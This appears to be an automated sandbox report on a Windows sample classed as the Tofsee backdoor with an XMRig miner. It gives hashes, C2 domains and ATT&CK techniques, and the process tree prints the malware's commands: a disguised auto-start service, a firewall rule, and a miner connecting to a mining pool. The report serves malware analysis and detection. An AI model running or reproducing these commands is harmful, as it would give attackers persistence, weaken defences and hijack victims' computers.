Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-05-2023 07:55

General

  • Target

    file.exe

  • Size

    294KB

  • MD5

    49c95ae2a4f0069f5ef8cb7c70860531

  • SHA1

    1fc8490eb5d14a148a263e744bd791b1f01e6f6a

  • SHA256

    72d074460e5807725c7d6f0ca1f923dbd069b93f86f718f3cb91c9140dd08007

  • SHA512

    28be09331d4bf0191a8bb909fdb17a99bafc193e4433ebd6ff1614ba4ecdb3d3ed8ab0840bcae2b59aee04aea41b6ef9bd12b62332b308417b755c2aaaad5c66

  • SSDEEP

    3072:/pXlqtP8WsLZPdb/3dLhA2AquW0eAb14h+8hsFd825sCwKV1IN:1lkPHsLZPV/3aquSA5U6dUCa

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kunlccrd\
      2⤵
        PID:4720
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vhxkyxpt.exe" C:\Windows\SysWOW64\kunlccrd\
        2⤵
          PID:2080
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kunlccrd binPath= "C:\Windows\SysWOW64\kunlccrd\vhxkyxpt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kunlccrd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kunlccrd
          2⤵
          • Launches sc.exe
          PID:4756
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:576
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3004 -s 800
          2⤵
          • Program crash
          PID:2000
      • C:\Windows\SysWOW64\kunlccrd\vhxkyxpt.exe
        C:\Windows\SysWOW64\kunlccrd\vhxkyxpt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3480
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4460
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1224
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3480 -s 516
          2⤵
          • Program crash
          PID:2968
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3004 -ip 3004
        1⤵
          PID:4776
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3480 -ip 3480
          1⤵
            PID:2172

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\vhxkyxpt.exe
            Filesize

            13.3MB

            MD5

            8625f6fb48fcd0e35508af0e348591f4

            SHA1

            04b73197f5cfcfe191593326998b989a668a2670

            SHA256

            3d1576e64711b7d32a704259cd27b3481d71abde90a8aa93140763f86a746a22

            SHA512

            edc7c65a35747340b74918c40ad8098f873944fd3ceab4d40d3104175ac548cc78d80afd5bb2decff7e13bdbc01e565003362973900e004e82df0c75ca6bd196

          • C:\Windows\SysWOW64\kunlccrd\vhxkyxpt.exe
            Filesize

            13.3MB

            MD5

            8625f6fb48fcd0e35508af0e348591f4

            SHA1

            04b73197f5cfcfe191593326998b989a668a2670

            SHA256

            3d1576e64711b7d32a704259cd27b3481d71abde90a8aa93140763f86a746a22

            SHA512

            edc7c65a35747340b74918c40ad8098f873944fd3ceab4d40d3104175ac548cc78d80afd5bb2decff7e13bdbc01e565003362973900e004e82df0c75ca6bd196

          • memory/1224-196-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1224-195-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1224-198-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1224-199-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1224-197-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1224-194-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1224-193-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/1224-188-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/3004-139-0x0000000000400000-0x0000000002367000-memory.dmp
            Filesize

            31.4MB

          • memory/3004-135-0x00000000023E0000-0x00000000023F3000-memory.dmp
            Filesize

            76KB

          • memory/3480-145-0x0000000000400000-0x0000000002367000-memory.dmp
            Filesize

            31.4MB

          • memory/4460-170-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-173-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-160-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-161-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-162-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-163-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-165-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-164-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-166-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-156-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-169-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-168-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-167-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-171-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-172-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-159-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-174-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-175-0x0000000001730000-0x0000000001740000-memory.dmp
            Filesize

            64KB

          • memory/4460-176-0x00000000025D0000-0x00000000025D5000-memory.dmp
            Filesize

            20KB

          • memory/4460-179-0x00000000025D0000-0x00000000025D5000-memory.dmp
            Filesize

            20KB

          • memory/4460-180-0x0000000006F40000-0x000000000734B000-memory.dmp
            Filesize

            4.0MB

          • memory/4460-183-0x0000000006F40000-0x000000000734B000-memory.dmp
            Filesize

            4.0MB

          • memory/4460-184-0x00000000025E0000-0x00000000025E7000-memory.dmp
            Filesize

            28KB

          • memory/4460-153-0x0000000000820000-0x0000000000826000-memory.dmp
            Filesize

            24KB

          • memory/4460-152-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/4460-149-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/4460-148-0x00000000001A0000-0x00000000001B5000-memory.dmp
            Filesize

            84KB

          • memory/4460-146-0x00000000001A0000-0x00000000001B5000-memory.dmp
            Filesize

            84KB

          • memory/4460-144-0x00000000001A0000-0x00000000001B5000-memory.dmp
            Filesize

            84KB

          • memory/4460-143-0x00000000001A0000-0x00000000001B5000-memory.dmp
            Filesize

            84KB

          • memory/4460-140-0x00000000001A0000-0x00000000001B5000-memory.dmp
            Filesize

            84KB